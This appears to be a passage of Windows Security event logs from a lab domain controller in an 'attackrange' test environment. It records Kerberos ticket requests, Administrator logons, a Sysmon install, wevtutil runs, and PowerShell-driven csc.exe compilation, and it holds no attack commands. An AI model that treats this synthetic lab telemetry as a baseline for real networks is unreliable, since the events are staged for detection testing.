This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253275
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253274
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BC93

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253332
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a4
	New Process Name:	C:\Windows\sysmon64.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\sysmon64.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253331
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1094
	Creator Process Name:	C:\Windows\System32\wevtutil.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253330
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1094
	New Process Name:	C:\Windows\System32\wevtutil.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1254
	Creator Process Name:	C:\Windows\sysmon64.exe
	Process Command Line:	"C:\Windows\system32\wevtutil.exe" im "C:\Users\ADMINI~1\AppData\Local\Temp\MANCEF1.tmp"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x130c
	Creator Process Name:	C:\Windows\System32\wevtutil.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\System32\wevtutil.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1254
	Creator Process Name:	C:\Windows\sysmon64.exe
	Process Command Line:	"C:\Windows\system32\wevtutil.exe" um "C:\Users\ADMINI~1\AppData\Local\Temp\MANCEC1.tmp"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253327
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Windows\sysmon64.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13f8
	Creator Process Name:	C:\Program Files\ansible\sysmon\Sysmon64.exe
	Process Command Line:	"C:\Windows\sysmon64.exe" -nologo -accepteula -m

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253326
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13f8
	New Process Name:	C:\Program Files\ansible\sysmon\Sysmon64.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x284
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"c:\Program Files\ansible\sysmon\sysmon64.exe" -accepteula -i "c:\Program Files\ansible\AttackRangeSysmon.xml"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253325
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19F169

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253324
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19F169
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6F3B26BA-BC3E-A5E1-51F8-615CA8DE1923}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253323
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6F3B26BA-BC3E-A5E1-51F8-615CA8DE1923}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253322
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6F3B26BA-BC3E-A5E1-51F8-615CA8DE1923}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253321
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253320
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1270
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESCD5A.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC1F86E9A34ABD4E93BAF0DB17D5DD46D0.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253319
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1270
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x284
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\oghn0x0x.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253333
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Windows\System32\wbem\unsecapp.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\unsecapp.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253369
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A5EAC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253368
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A5EAC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253367
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253366
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253365
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253364
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x137c
	Creator Process Name:	C:\Windows\System32\cmd.exe
